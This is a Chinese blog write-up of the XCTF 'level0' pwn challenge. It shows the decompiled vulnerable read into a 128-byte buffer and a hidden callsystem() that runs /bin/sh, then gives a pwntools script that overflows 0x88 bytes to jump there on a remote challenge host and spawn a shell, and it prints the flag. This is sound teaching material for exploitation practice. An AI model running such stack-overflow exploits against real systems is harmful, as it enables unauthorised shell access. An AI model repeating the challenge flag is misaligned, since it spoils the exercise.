【愚公系列】XCTF-简单题-PWN-001(level0) 原创
愚公搬代码
发布于 2022-1-17 16:03
浏览
0收藏
@TOC
一、level0
题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0
二、答题步骤
1.获取在线场景
2.查壳
对下载文件进行查壳,命令如下
file level0
checksec --file=level0
分析文件,小端程序(LSB),栈不可执行。
3.IDA
使用IDA对文件进行反汇编
第一步:首先找到main函数
查看main函数,发现没有能够注入的地方。但是vulnerable_function格外醒目
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL);
}
第二步:进入vulnerable_function函数
进入vulnerable_function,发现有一个_read函数,且存在溢出风险。
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
函数return了一个 read(0, &buf, 0x200uLL);
也就是回了一个read操作,大小为0x200uLL也就是200个空间,但是不知道200空间具体大小,因此双击进入变量&buf
查看
- 0000000000000080 - 0000000000000000个地址(注意是16进制),也就是0x80个地址,这是buf到s的。
- 0000000000000008 - 0000000000000000个地址,也就是0x08个地址,这是从s到r的
两者相加,一共0x88个地址,把这些个地址用字符堵死,后续就能伪造执行的read
第三步:bin/sh利用
发现bin/sh的利用函数
int callsystem()
{
return system("/bin/sh");
}
双击进去后发现函数能拿到bin/sh的权限,于是去Exports窗口找该函数的地址,
完整地址是:0000000000400596
,这里其实只取后八位就可以:00400596
,也就是0x00400596
用脚本把前面0x88个空间打死然后把这个函数地址用p64(0x00400596)
拼接上,就可以让read拿到我们的bin/sh权限了。
第四步:写payload
from pwn import *
sh = remote("111.200.241.244",49323) #remote:主要用作远程和服务器交互,返回一个类似连接对象
payload = 'A'*0x88 + p64(0x00400596).decode('unicode_escape') #p64:将数字转为字符串(p64/u64 p32/u32)
sh.sendlineafter("Hello, World",payload) #send:发送数据,通过连接对象调用
sh.interactive() #interactive:反弹shell
注意windows下执行脚本并不能成功
kali中执行脚本
运行得到flag:cyberpeace{fc253e69c1d461fcbe45e53b80eefe5e}
总结
- 注意windows和liunx系统区别
- p64(0x00400596).decode(‘unicode_escape’)
- IDA
- checksec
©著作权归作者所有,如需转载,请注明出处,否则将追究法律责任
分类
已于2022-1-19 22:53:47修改
赞
1
收藏
回复
相关推荐
欢迎大家多多留言。